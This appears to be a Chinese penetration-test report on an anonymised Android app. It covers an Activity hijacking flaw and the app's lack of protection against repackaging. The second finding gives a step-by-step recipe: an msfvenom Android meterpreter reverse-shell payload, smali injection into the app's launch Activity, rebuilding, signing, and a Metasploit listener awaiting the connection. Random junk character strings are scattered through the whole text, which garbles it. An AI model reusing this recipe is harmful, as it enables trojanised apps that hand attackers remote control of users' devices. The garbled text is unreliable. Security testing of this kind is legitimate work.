原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

! G, Q1 e; \% @* Z- D% ?/ @8 l ' Y0 s1 h" s' u$ \
8 D% Q4 k' H% x f4 B# l9 \ + [. `; q: ^* N* Z( P9 G

% X/ |/ Y7 I: o3 ]& d" u

4 W( l' f3 {% f, c& Q( h% D ^ 文档编号：               

  / R: b) D; a" L, y/ x' S% ~6 Y

. L a8 U# \4 z" d5 N

 

4 m/ D5 e# r* Q5 d/ q1 R: X1 X

  3 i; J' h1 p1 X, u, Y

; {0 [/ H# X1 t( S ) [2 C, P6 k8 F! W1 H( X

5 t* x! y& ^. V+ t* U0 u" R& k# B   9 s4 O% {, ?/ {9 W- _ 7 D: o% `1 A5 u& {' g

( r) X8 y+ E; C- ~, e

  $ C( O$ | K0 G# a" w; J8 i t

; h* k. |. H: M+ P 某某某APP渗透测试 3 B* R( u9 D7 K

. U+ K4 l* t2 j4 i

g/ l# _4 ?- v* c" a& f3 ~, S   0 s. `2 k$ u8 k! w+ @7 p8 A* ]' ~ 3 }2 N% V/ o( d

3 n' J/ P# l* L- Z7 A" E

" G- z* _0 l+ H0 R* F% G2 ?  

; m2 [3 h" w$ G/ x/ {) {

5 q7 C- l, C9 Z9 X& A( {, }  

5 k2 R) E3 g+ V

- I$ R0 X- T( E; K   * ^4 r4 [8 c: r6 v3 H ; `; S. ?! M$ O

9 s& e1 e: ^5 g+ e 4 }, M, o0 A4 ~0 E$ {3 _) |/ @ 技 术 报 告 # c. J, W: M$ d3 [' `2 R

# G$ Z3 y, O2 l * G, w1 \" C M( j2 G

  # S5 A0 d8 V$ D. Q 5 t- ]% P1 X: U) C& S' T

( l0 n/ L3 {, X6 S0 L; K   $ _% t: d( y; n

6 p! H, J h2 c& B

, M- s' a' Y1 C1 `# E   : D0 N5 d2 N/ s, k2 ?

4 i7 {2 w7 Z/ y; o- W/ [

  * u6 W5 I0 G8 w7 ], E8 x( c

' y w$ K& V$ V7 e8 v

% c V1 A A% Y# N7 j9 r4 f, E  

- g$ I" Z# O3 w% d4 Y 8 w, |7 A3 [# O" ^! o

 

: I5 ~5 r; b" p: D" H8 g" A3 B% k5 y   / b$ Z0 b6 Q9 Y4 X$ V+ H& r' p

7 B ?7 { |# T5 s! D, L9 F

  6 @" m! g& {/ Y [2 K5 x

% p" i2 f9 y- u2 q) L% ?# T) I9 N3 d

$ @8 d, ~# v6 U: \4 ~ 1 @( M, p7 L* m% p  

# S6 `: i$ x# `' P9 S+ ^9 W" j  

: U6 @( _) N& O+ R 1 t& s! g% a% G

0 |+ h* h6 a# d/ @" n   & f- j1 u) @( Z" a; b

" H! K2 y- J2 w, V( ^ ( n! b. S. b( b3 j2 G# |

8 a+ K% c/ S' k8 ^4 E, H   - m2 ~3 L" x5 v+ D5 I8 w5 u" o2 l2 S" [' m ! c; I; V' V2 G& Q4 n$ K6 m

( z3 Z3 L6 i0 s, L7 k / G+ F( l5 x: E) h1 Q- ~, |# {5 Z

0 E) O* }2 e8 G$ a7 D, W  

. G2 { D* N. a* f  

8 H8 x4 O# P; m# B$ X4 l. T

" R, P+ |8 b6 o+ k1 s" N. ?   ; k z/ |7 g; e( a) S% k

# J4 d2 W- k9 L v

; q- I+ u; b( j* p6 X * T, e9 O' {8 {' U! ^8 v  

* q7 d$ P3 B8 u) d

 

" u: b; |: ?1 V7 u7 s. f

7 G' @" k5 @# o3 J3 [; E # T9 `& C% R4 H1 m$ e k7 i" Z6 H* P   9 j* [4 m3 g/ Q: m

+ L, F; a. `! V ) m a& n8 ~2 h$ e

$ ]9 _2 t5 h2 a8 t! @0 h# @ 二〇二〇年 - { e( M0 s i

1 g: }* @ x% s$ J6 y1 G" H

; s' z" V8 L" k" x
$ Z5 ] e& B3 {" v % E1 _- m# S1 n" K8 A' n2 \ + v3 \! z# S$ y/ u4 i; _" ]; [* A& b ! j- o' ^4 c: E/ R+ v7 B1 V( D

5 K: H& J$ ^* c1 j f) u

/ ^& i/ ~7 T1 h) _8 A& a8 d # s1 W+ U* F0 H2 h/ s, b
; l" ?4 y! ^( |- W# e

" R' k' {3 n; _6 }6 N. W ( \4 L- a3 w- d3 R6 V4 ?

目 录

8 f0 f2 V' Q$ I6 Q' w, [& g - p& E9 a) I3 ^# x L3 | / q w! `3 P1 P3 v6 F% [7 s$ A

% N% W5 {. d/ r3 I; V0 k* k  

1 概述... 3

/ E$ e& J8 K. D3 D. I8 ?

4 w" I. \- W+ H. _% u6 ~ ! U. d2 S+ Q6 I: F8 ~ 1.2测试时间... 3

2 ^" R! M n7 f e

1.3测试对象... 3 7 P' H- A+ P9 S" P

1.4测试结果... 3 - |2 l5 f( U4 u- {% P; n

9 X! r4 c& n: o. P$ G4 Z: A& M4 z# R 2 检测结果... 4 ; u2 P( v& D" _( }: r* b7 t8 n

& o+ O6 h1 o6 q- W/ p 2.1 某某某... 4 ! S/ Z w, N& q* `6 b" D A

' R$ Q4 V9 ]2 ^" A! s9 m 0 x) n$ F8 ^$ y/ x0 d1 Z

8 V7 r P( D8 p 5 K) U5 p7 X8 k5 ~% i, u" c3 W 2.1.1检测目标... 4 ( ]7 ~% Z7 z3 {8 J

! R0 \% `; u) O, S7 I4 z8 X

2.1.2检测结果... 4 6 D2 ~6 }2 [4 k8 k& t, L5 K4 g

. @5 i& ^- X8 [) a j5 D1 X 2.1.2.1. 4 ; V9 @5 W% O+ b ; M0 q# ] t9 o/ M& D

/ k# o" _. Y+ Q' t2 z! P w5 F

+ h( a9 b# Q) p4 k! Q* e9 O, ~ 2.1.2.2. 6 ; m4 j9 n, X# a

) O5 _( ]# Q; \( k/ h5 R

/ k& ?; O* U5 u ; v6 N% Z( _9 h8 w7 T2 p $ F# [" x' m/ |! K9 L3 S Q

. p5 @$ X) Z7 B) e+ q

# V# H# |- A3 `5 `+ y) Z
/ O/ w J- c. o

' i7 n4 U) H" N# ]) W7 t3 w; v+ n1 b% G 7 A" ]: t( B6 o4 |1 Q 1 概述

. z( w! ?8 j, }# E/ m: H$ y

5 ^2 Q9 Q7 P/ X( O3 H: H3 @ 1.2测试时间 * `$ d( h5 O3 k5 o

) T. Y' } G2 H: r& F4 T% [: h% f, r& o' b( g( O! m' T5 i6 p5 p M7 h- N; `3 E4 B0 `- j0 ]: l; C& v9 ?3 ?% } W# ^. W u4 ^2 D+ V9 A k9 X* {& ?2 ]% ^ G& U' s+ p1 M/ I. M* v0 T' ?/ L! b, P+ p! A5 @+ t8 d* g. P, ?. L0 i& L- v- @ j5 x+ ~7 p& M7 e7 K$ R% X1 v1 i2 B4 f$ p5 G Q2 I

* I9 Z" ?+ b# m. _9 R8 c4 G! s5 b ; P' Z- j7 H( f 4 d$ N/ v* F$ `) D# Z) E + J9 `$ T4 r! O) _; {# n4 } 渗透测试时间 7 U4 X" h( R( S, I* p( k3 w6 |
! W0 {7 Y9 ]2 Z) L & ?: v! i! V8 h/ O4 N2 g 起始时间 ; N! F5 r. R( G# u P. W $ ?. l) Y1 {* @: y	* x4 V" O7 H8 x# r; @5 F( ] ' Q1 ^" M4 }/ Q5 T" X- x5 r% x ( f3 m6 ` {+ N% r$ W, d* J 2020年4月6日 6 o7 A7 @; ?/ y 1 C% u3 \" k3 z: ^* z + S+ D, U6 p/ W3 K d5 \6 b A( p3 G" {
& G" M1 J2 f4 s5 H! Q * q0 n9 x+ z1 q1 C& F 结束时间 0 v" E+ U3 L8 E* L$ C1 |) y	2020年4月9日 1 P6 `& N" `* s

& M2 ^: F N+ E M2 q1 ?7 d 3 E* S+ z+ A; T' Y% g" W4 u9 M% ]. ` 1.3测试对象 - R: _5 H& H' j! c* r" j8 g

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

l Z7 o& z% h( H6 i: D3 }

, X3 }! F5 u, u# e , P Q7 S1 i& V, A; j6 K: O: E 表1-1 检测对象 + ^0 Q2 M* q4 m 9 Q* V- g% [3 V( j3 D

* y5 q" e7 @4 _% S/ ~ ) c& j g4 _, ]! H. \! p+ C& D8 ]: n0 L2 @3 F8 h8 `9 l' y) o1 [9 x# k" E/ h. D' j+ F- z8 ~9 ^1 p& q9 z( Y/ Q! s0 t/ F0 _! Z8 P9 G) @( Y0 S0 j9 _# U* v; }( K2 @1 D5 F3 C1 M8 S, b0 @' Q: }4 A7 ]" L4 t) K5 ~: v9 k5 V% \2 q/ ~% e }: n, p" N, |0 g) f4 q/ S! r& Z) d2 L4 P. g( t* a: p, r7 A( ]7 g" C: m$ z+ @1 n: Q0 ]; _2 s# ?3 ~) L/ ~

序号 / w% D- D: _' N3 P9 J2 ^% C$ V 1 @6 U, M1 l% o4 [+ `	1 m8 p& t- j7 g9 t % N: O; w! w' H1 ~7 B 测试对象 4 H& M" s( \* z, c* W1 A - i6 X( d8 T; \( @( z+ c% D - X6 n* Y, g. X! `% W	4 x' _0 T5 H# D G( V, E4 p0 a3 b 5 ?% T Q2 c5 X/ _' ^5 C1 ~ 测试地址 ( H" F; T1 q* X	安全漏洞 $ G/ ?) c' A8 ]- y6 d 5 h- U Y1 }) r5 Y- n6 s+ D5 } # |0 Q' Q8 [1 k, J+ i9 o2 u
1 4 L4 N7 f1 J5 C , [" U C; ^& b7 _. d5 x	) T9 t: q* H+ h) J8 i 某某某安卓APP	" `2 W- ]( |2 V3 d " H& S& o2 L& F# \& r6 L7 Z   . R* K( `. S( N3 F1 a % l( x' \- I1 y+ l7 X, F	! H, n7 z# ~" d 2 ; F8 t, `7 t2 \& M% S9 X7 J. { , ?4 ~# P1 e4 D& S& L

4 }( f7 G" \- E$ H1 ^ ; Q% c; Z# U; j7 ~

1.4测试结果 9 u( l- X6 X: U- t9 f0 Q 3 o7 m& p6 [" _1 K& ?

! K* t) |& Z( e1 Q ( `/ X$ z" Q# M# t

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： " E5 j/ w8 H! a t

; n# C4 p X/ ]7 K$ n3 M/ d

; G- X7 d# d! G5 b$ i; C  

" h! G* a9 @$ N6 |" Z

0 g6 e0 L/ p; D3 y: E& p" Y9 ~ $ t2 N6 I3 Y+ y( f8 m9 P+ h4 b3 g% j9 l2 W$ s" A, \& Z6 N8 M2 v2 o8 v4 a% }; M" x6 ^0 R) \* p7 i4 N% h, r, }! w4 Q- i1 C8 }" U: M6 n0 \. V8 N" @& ]9 d/ A) I" k3 t2 \. x( q+ _) [+ t: a; W' E! \) h8 I3 j& _ ]& l$ a7 q [& ` }. M* f: v, B; r3 D0 ?! t( s9 E* Q" n! U3 ]$ M& s* b1 {8 C0 s' A2 i6 a8 w6 ?; Z: G, H' T4 T/ t0 Z$ v, X$ A% ^6 x: W G# J0 }/ P0 @* P* n @7 B2 I# q6 |% v+ x7 w7 ^ S' b$ G/ b/ h# B1 ^1 ` t, N" m- \ t1 F# E& @. Y' s4 S6 g. c# \) P* \ X C6 D: z9 e9 f2 h' \& l* k S) J& K- N; f. ~: s9 i3 p' F

3 B' \: [! T6 O ; } D4 V" `7 @0 d9 Y$ o" m6 w 序号 - v. `7 `0 I- A# n8 C $ W1 T1 \" F1 n; j& y2 }9 q ( ~6 O; y- G: b# m # ]0 H4 S' ?* a2 h; N& u3 O	系统名称 9 y) b2 W! V) f/ j& {5 C5 l	B# e" r* i4 w ' G/ n8 Y$ f) z" m5 W6 S) m) h: _! [ 漏洞名称 4 n4 e. H0 f: M# h z D3 f. s. W/ D8 s5 p5 C " {! A. v6 s( P% o: q) y* F	& \* I9 e. W( `' N( \. ?# U + T: L% ^: y$ u # }5 b$ `" C1 W6 O! N 漏洞危害 - t% D. X' m' r0 O! D$ Z 5 k, T4 [$ N8 Q+ v3 G k	. v$ t( f$ o+ H* F1 n7 t5 H 修复结果 # @& J$ R# @7 b; ~ 0 |7 {% h' s4 S" N' X" O# i( r
0 ^7 a' z: r4 Q! h 0 D l7 O" N6 `$ @" m 1 : `' x1 h$ l: d6 Z* Y) _: o. F 3 M! K) n. \% N4 E 8 d+ t! E- P+ { 8 r0 S. B; S4 L" {4 n5 c	6 ^0 a \4 j: z9 P2 [ ' e0 C9 l" n0 p3 a; ^ 某某某某某某APP % Y1 \; y4 |7 a4 q! ^3 Q3 K/ W	2 k9 z% S% A0 t5 d; Y% J9 X! [/ H * r) f0 c/ p3 H( u 8 Z2 }$ j3 l+ k+ r$ K: L: _ Activity 劫持 - z( {' A1 |5 P. I, t3 v3 B; X; J * f; O2 ~5 A0 M4 ?1 {# b" t& y   ' l# U2 F5 p5 j$ h! Q0 t/ |	+ Y0 u0 h4 T+ p. c. ] c 高 . H8 c1 l9 B9 e6 ]5 T3 c- c1 J	$ O; F3 {. m% D 2 S L1 p' }7 X. p7 J2 I. O6 e / v# }% c# c% ?% C0 J/ N: D- }8 a " a8 d& _+ _. T$ |2 C; i
2 i" M5 M& O: z) y: K 8 I: ^- `2 T1 ?( D% R6 }* n" l 2 # l( ?+ s8 y* r/ _- d8 n * Y4 y4 ]: \: V	1 {# [" |7 T; [6 X! P) R7 }. J& Y 某某某某某某APP	反编译二次打包捆绑木马、篡改APP代码 ; v6 f9 J+ j( P+ i" s; | 2 D8 J0 @& a8 k; P/ _- A4 Y+ n	: u( f( Y& P: _) `6 b; ] 高 ) W, i; m2 z" L4 x 8 z, `1 k1 a: Q5 H# ^ 8 b# y$ a; U% p$ B& f: g	/ U% Z' T4 W/ o 6 Y7 _" r9 \ ]8 ? ! g( x6 Z8 a; P   ' E8 e- m! W0 t* y" X6 Y a ; c. x& i0 B7 O& E9 i4 e0 F. ]% c ! m- Q/ a' c; R4 k! C

8 \7 r1 X+ x3 i5 L: a. o

4 o9 g9 _8 {# k: v' H+ p& C" o

) Q& @- u; d2 J; ?   6 o1 B! s" o3 {: E! O( J

表1-2 测试结果 " y& u! M; i, Q8 m. w$ w* S 3 K8 l% v) Z$ F) d" h) T

9 V2 ^0 U, a& q; r

+ m' K+ q! ~$ I" ?0 J: [4 q   . c0 _4 {; X7 @$ E

& h9 f9 n4 l: ]3 ]2 n

2 检测结果                    " S7 j( z0 {3 g* o6 ~/ G9 \ ( [# a$ X/ Q* P4 v3 C1 d

- }7 ]' S5 V* z3 H" c

2.1 某某某

! x, A: F6 D- _2 Z; |: R / F4 e+ b, p) J5 l" J

( {8 E3 ?- m1 J2 S% c 2.1.1检测目标 & V4 V/ u& ^; r5 C

6 T1 }' B- B, E8 C5 A3 C

目标地址： 某某某某某某APP 4 d8 D8 S3 h o# B 0 B$ j* R: y/ [- Y+ i0 @- S5 H

; z$ u. ~0 h# H+ Y$ g) y

6 U) h, _. t4 g; _5 z; I( d" k 2.1.2检测结果 2 f' @" @/ n7 g% n % D: P( |! w$ l" f- K5 T

+ v n: Y( e: r

2.1.2.1

/ k1 q' _) v! f. X5 w4 |2 t. g

漏洞链接地址：某某某某某某APP ) C* F' a2 _& n% U' T/ P & K% b9 S' E9 ?& z+ ^! C' s

- U1 N5 f5 H0 e6 o, _& V; E3 R

8 x9 d" G) E' B* A( \, O" a, g   6 d2 y& u" a0 D q 9 q' o1 s) Q3 R5 p- J, Z

" }; Q! x# ^2 a& S( \) L

& [) d8 `/ {! Q8 F+ |! | ; k% ^1 F4 N$ W, K% j. I3 G 漏洞分析及取证： 5 G, P {8 R( t6 U# a7 P

                 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： - Y+ A6 h- U9 ]9 Y5 N) T

3 C5 L4 O" }5 P" H. c 3 h! p5 g6 I! c. x+ C" `8 b

4 V5 a# W9 J3 f) d      & a$ i! T. z, i; v

% p8 _6 H6 L a) _ 4 F; Y7 l; }6 L0 I0 a R                       ( f' L$ M+ f( s* X. B

6 H6 `. g5 C0 X5 q4 S8 @7 f$ B1 ^ ; O7 f; D4 |7 `; x& E' I

/ B0 o, S7 N$ R, V % h6 l( a0 f4 o! ^2 A* ^9 i

4 K5 }# W3 R9 e* i9 V9 i

4 k* S; P# F* d1 U0 } ( f7 t H1 M4 M/ \$ _# L6 _0 Y

漏洞危害：高

- k3 O# F$ P/ m5 I & L: |# n q. ^$ D+ U/ U: q( E$ |" z& w/ h' h4 i/ @* B4 F/ ?: a0 u, O6 `5 b' ?4 w) u$ r1 R( J2 `: E+ [8 J* J! x' D/ r/ \6 Q0 K8 C& j" s: F- J& Q$ h T& H5 G; C! ?- ]4 e5 S a3 a4 X I1 v" e/ L: [, T: f- s* @: v) q9 v1 z; F/ i! ^: D4 q" K0 \% I! ~; p- {) D, g: z

! Z5 n/ h/ p0 j5 | 7 W, u# ?4 t+ {7 e- k- H; \ ( t" T8 a2 ]4 p) S" \ 严重程度 2 b( T1 ?+ c# M( M1 d1 j4 T+ C 6 j* G# a# L! e) M6 [( j	' `% c7 n9 ]+ H: L# W' |4 ` D5 b 高 ! x7 {" G3 k- ~) @8 q9 |' s8 q- p : X; ^- f$ ?0 c5 l) u ) e$ L- u2 X3 i" n' w	- L5 I6 F4 K0 s6 E' Q, `4 Z 4 _9 C6 a% r+ d! _6 B9 [* q ■ : j' I# I. S! {6 M0 F; P8 k	" O' I! r3 ^+ ]4 q4 W" I. `0 k m% W# t' ~: J c6 \$ w/ i 中 / C2 ]% _2 j: U T0 P% t	& a3 o9 U5 H: W- Z. t8 `+ B P   " i. y) Q, U) U# W& E0 x; ^ . D6 O8 a4 q( G6 E0 c0 A	& g7 L' Z. y+ @ S& i# y/ p1 P& L0 d 1 G. \! b7 S6 f' M7 P* c 低 ' i; u( }4 z3 r+ j8 G0 `! o$ [	n% E' |( j. ?( S: S) q " r w+ ?$ n4 S8 j' F: X 1 ]1 ^2 [3 y8 \# f   . w2 q8 r) a& O% F O" u' N * N) q/ E1 u- v- H6 X

, q; b* s( a6 o H" K 1 P7 s! e4 U! B" K" x2 H

) h# S+ F2 P3 L3 T* ~; @2 o9 P( | 6 |3 q5 u4 [# o0 L

9 {! W- T% K* y' P/ o; K 7 `/ _7 c; u; }" a2 \( i  

" \( @) c% c8 m$ g

( r5 [7 {% Q" c0 g% A 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 3 Y$ {* [% F+ @# o! R; \ ! `2 j5 j) z ?6 G* r1 ?

# n! M+ I: Z2 b& @ ' V6 I+ y2 j1 l$ ]          

9 g% f* C* P# j# i- ^

! }, ~* C! p# P0 V" m   - I' `# H# F( Q& m! K 8 d0 v# O0 v/ v9 k; z

m, v' E9 ~' L; o* O, {/ Q % ]9 t: q& \4 S" y% h+ g 2.1.2.2

/ ~! m* i) y" Q4 O% E

漏洞链接地址：某某某某某某APP 8 @- A6 B0 y! d) a0 ]' |# K1 H

" R% ^( J- w2 [ # E9 `6 D F; ^1 O3 k' Z6 ~, \2 u

! w. D1 u( j6 O z7 p# L0 W * x8 a1 m E. V- J 漏洞分析及取证： & i8 t* \6 e: f, x* o- p1 P

$ u$ H8 g' B) V- e* U4 X 6 P. [4 m9 h6 U: U3 q& L

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： # a( M# m, _7 K3 L8 u0 W& n% p

/ k! p4 p% Q; a% p, J6 [ , V8 ~' l% e" ]. E

用Metasploit 生成木马 apk 8 t% P K+ U w/ P; ?. i

6 Y# X# a+ {/ P* |1 [

W$ P3 S' n& V/ d4 W msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

9 j5 D" C3 x! t) N3 `9 V 反编译目标apk和木马apk . T6 _, e' j$ r6 a) R4 {% v* L * {/ p2 ]0 k" A0 |- C

: ~+ V0 x9 t7 a. K+ H

& a/ g' M1 @. a+ {5 X9 n1 H * R; o" {2 S* t1 }9 n apktool d target.apk
; Y/ R8 Y, G1 k 9 ]4 }0 `4 o: a! M. J- m2 i apktool d cockhorse.apk 5 a( ^4 {# ^8 M' E- F 4 P: p+ A4 @; I* Z7 P

& }: g8 J( B0 P! }' y4 n- I 1 a* I0 i; Z. A( Y4 D2 z7 u/ T( b. s- h

2 i, P2 E0 n- |! l& t 木马 apk 注入目标 apk 1 _, R/ d( r& a- G" s' J! u

! c! S* k& G' V, _ 6 U$ {' F% m9 P4 ~+ `1 x

1 n- {3 E1 y' i, \ |6 Q6 b' ? " S) Q4 ?" R- l8 \ 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
9 @& W" V( F& T( b3 r6 B' ] ' N; [% N1 A% e& P+ S invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V G3 g. \+ e2 n7 X8 n

: k, ]" S* u& g/ m) E8 D# `3 D

: l9 a0 D( t* ^1 I- ?& Z: E 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 - s6 S: Y! X+ \& a* ]9 o

9 s- ?- K# J* s# @% u% N 9 E) n' _! j! J6 I& ]: s) L

将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 / h3 X* T% e/ X

回编译生成最终 apk C4 {2 Y% Z5 x- c 1 ?9 U" b4 B# \0 D/ }

重新打包 : v/ T. I5 F. G/ U4 ~; |

( v P3 d' ~/ d

; o0 Q! D% b5 p0 F apktool b -o repackage.apk target_app_floder 3 R1 | J4 z5 Q% h' ]

: }0 t0 \& V/ K' }( P' N

; N+ b5 j. `% ~0 L7 w5 G1 p5 k % X2 [ w% k( q 创建签名文件，有的话可忽略此步骤

6 S1 z. x' }5 Y* c1 T " n. O0 A8 o1 t8 X' V) i* ~2 Z

$ U% H1 z+ d& A5 \4 I' | keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                # s# E" C d6 s1 h4 d

0 X: b q7 A; ]& J+ W8 y N1 F

. A0 i1 c' q* z# f4 ?) t& h" y 签名，以下任选其一 + i% [5 {9 ^ h; | 1 {* a0 |# r7 v* `& e

7 t9 w- ]7 r. W2 s- H

' Q q5 S+ ~6 A jarsigner 方式 * L$ b8 e3 k8 T# q( P9 S

7 u& z E4 t7 k7 l6 N) m& E jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname / I( }. R5 U' K+ F0 W2 {. V* P

' O1 l H. B9 g* ^

* m1 |3 q# I7 I" R apksigner 方式 8 n" D! c8 t" s d( `2 k" ]4 n

( z$ r5 J3 v$ ]3 z9 t( m- p2 P) `# `

# q+ T+ G6 o6 B5 W8 `4 s ! @/ l. H {' e+ x: y) O apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 5 G4 T( t7 j) c, M

2 x: ^! g$ H2 O2 E

# ^- ^* e7 i+ \! S* J, N 如需要禁用 v2签名 添加选项--v2-signing-enabled false % o# ]2 I# F$ ^" q1 h U

2 c8 H+ B# ?1 B- E3 V; @ " H) \0 p3 B0 n! p" J

! W8 W+ s! S7 W1 d0 e# G" V+ I) b- c ) s9 [# r+ a6 H. a* f! c 验证，以下任选其一 2 n8 W! M, E6 V5 o O- T6 q6 p2 [: e

1 R# D+ D9 i3 y' X

' X( Y Q+ {+ @/ z/ R; f. J 8 o% H! f1 ]1 a9 z( v: ^ jarsigner方式 : q+ x% _$ o' ^/ Q , }; N* \* d1 b

3 E5 J2 |8 x- K( F% z$ } I1 x, a2 ^% X

jarsigner -verify repackaged.apk ( Y- {4 k4 ?' c& | 7 [3 p2 M! l9 q, o+ ~! @& ~2 t9 Z

; B( `) K0 C/ v, W. L3 m

9 D4 B+ J% Q. {: E# o: v9 P0 _ # Q. B5 c i' M& h0 ~ apksigner 方式 7 w' u4 p. b1 L' r. ` " A1 [1 t+ P0 P# W

, m' [& V2 C0 ]1 N+ _

apksigner verify -v --print-certs repackaged.apk 3 L( L6 a9 G9 {. Z * ^, K& E5 |7 N

' h* Q. L1 i, h+ l# v

/ i* @. x" o0 g0 U' R- D$ c7 M keytool方式 - f6 t Z' _' s) C1 W, r# w

0 g$ a6 e; Y# \! z% F) p G keytool -printcert -jarfile repackaged.apk 1 P+ N' D4 {, A 5 W+ A/ u! h1 }9 W& u# U6 B

0 q# H( R+ e/ Q8 q2 O1 H; O

对齐

K; b3 ~ f6 f1 g: B5 y

字节对齐优化 8 h4 y6 u$ L& F5 b7 l0 O4 E9 q. l

! v" |+ |* h" J5 v2 {$ M7 _2 z , ~( b; @( u, ?8 Y1 M% ^

G/ \, Q7 Q' n9 y; x zipalign -v 4 repackaged.apk final.apk * F9 }7 G3 |( k

8 O; Z/ f1 @4 y( n& p% A5 C

! U. H2 s& ~9 I" Y6 I; M6 g ( g; l) {4 h: z8 {8 [7 | 检查是否对齐

. S/ ^! h1 s9 m: K1 u$ l

zipalign -c -v 4 final.apk . p$ }5 l( ]: _! G. D$ U. Z

# c: H: S: F" r' I/ f1 J 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 B8 w+ V. B `' d+ S 3 @* s% o% E6 i; [# J# K4 j- i9 B( c

k7 P" o9 ?- K% ?6 F

0 v `" g/ U0 J, \ 启动Metasploit控制台，配置参数等待上线 , W* W s# f' B. ?8 ]; J. k5 }! I- D

. o% p2 I2 X6 M6 q' m 在终端依次输入如下命令 ! H& ?, \' p `6 l5 _# M0 D

3 f/ V' \) r5 c* J& h0 C# w

msfconsole

2 j/ z5 I7 |9 d! i2 j. n8 N+ L8 d + \8 n1 e( }' D2 G2 m* c; ]2 b

$ K+ L! c# v8 l' Y8 T Y" U; [ use exploit/multi/handler 3 z6 _9 H2 V2 \$ [1 j

* U% \$ {2 K+ l6 R2 n8 [ set PAYLOAD android/meterpreter/reverse_tcp / Y/ C: i; ~4 _( G- z( a0 l) ?

, q: p( ^3 \: a1 |! I

6 D' r/ l6 Q' f. T' [ set LHOST 192.xxx.xx.xx $ R, `- c! r( h; T

% Y {( h2 U( o/ d* s& v' O5 x

5 y$ M/ z3 I$ c9 H" \ set LPORT 4444 9 s% \' Q" `7 q: l/ d

& ?0 l" R( g4 h

exploit 6 W3 R4 S& B/ D- s

6 c# d- O! G" I9 s

4 S4 `; L8 k; C0 w+ u h# ^ 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               3 J: F& J1 i U2 s, [6 f3 }$ u/ y

; {3 r- n1 \ M/ h4 G

) P/ W0 r: d4 C( t6 l' \$ O; A , X9 y5 k; P4 O. b7 f# B1 t 漏洞危害：中 3 J9 E8 ]% {' P% p% R8 k

$ l4 n5 a4 }- }6 u5 N, Q2 O # u3 g! N# {& `# H/ ]0 X$ H+ h

( K* m1 b8 L' k4 I) s* q. M4 Q* P# T* V: f H; B6 v9 |2 Q. w# M4 g% H" I) [# U* w6 L) m" @7 t( c7 _% f. V, c* I1 I$ q( j( g( l/ ~' _, R& m! ]' L+ {& N; G. `1 B" @ K N/ y& m1 O9 k- U+ k0 p6 }8 ~0 R# P) O5 [. N D) Y( E8 V: W" v0 c* T; Y+ S3 I% Z' @# c1 X4 t* J& @% P0 M+ E7 x, d e& V- g/ ]( n0 s' K6 M _! L+ o. W, E

% j* c/ N, ^; W+ Z' Y 严重程度	, H8 O! z# v4 g. } 高 d4 N- E. d4 ` [ Y1 t3 W 0 c+ J/ e! j: S9 [" x3 O 0 W9 K! T$ E* J2 ]! ^0 l. n4 R	! |4 x0 W) a$ D8 s ■ 7 M" e' ~- W0 }! P. D' L 2 v _5 I4 D6 V O3 J9 M	( `+ @8 `$ H. Q- s, w: C* b 2 T' h& L8 ^' Y/ @ 中 + | i$ x6 E0 V, {	* v$ j! U1 }3 V( W( y * h3 ~6 d+ P2 C2 J5 ]( i $ _* N4 y# K I. u   . u, C w6 a' g8 ]9 ^6 g4 y	6 W5 Y/ G I; ]& S 低	. s% E2 k: |" Q9 c & @6 } [% B, r- R 4 X' W- X6 _6 [ 6 N" m: L: J0 a* Q) Z' t / Y- P- o: e6 F$ J2 m H8 b4 P ) ?+ q) r: E/ Y$ N3 M I   . p0 S0 f( ^8 J* G ) x. Q1 j6 v$ O; m; Z. H: U4 l) c . }0 f+ u# w* c. P9 a' u

" R4 A+ d7 [: K( L: B# |5 q# v

?% Y' @+ q+ v # i/ Y7 U7 |6 X! ^5 f( x/ y

+ G6 i) e. `, x7 ?) N5 g   1 A" V- F; m _7 Q

2 r$ A7 ~5 B4 p

修复方法： , y' a5 B- `9 r; t6 e9 e ! U0 |, ^: B4 \/ ?& A1 I

$ F8 Z- B% e8 p/ K& s& ]" s               1.在 APP 启动时应做签名校验防止二次打包。
6 z0 G2 d2 @; U. t+ w! { c+ z& b! i 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 & w$ v/ E$ ~6 t; D - z' G* H) ]% _, O

+ m5 F7 S, g1 ?" r ' Y4 w9 o+ ~8 b/ @& o - V- u$ B& d# V, w }, M3 L1 s, x ; K( V+ |- w6 l0 ]# z/ Y% P5 q0 D: L

5 p9 L0 u- w! g0 G/ V   " B0 k1 A- V/ N

- d" U) ]6 M6 n3 @ 4 X( q0 v. ?, L* [" G) \

7 r% M) G1 b9 A9 E: l4 A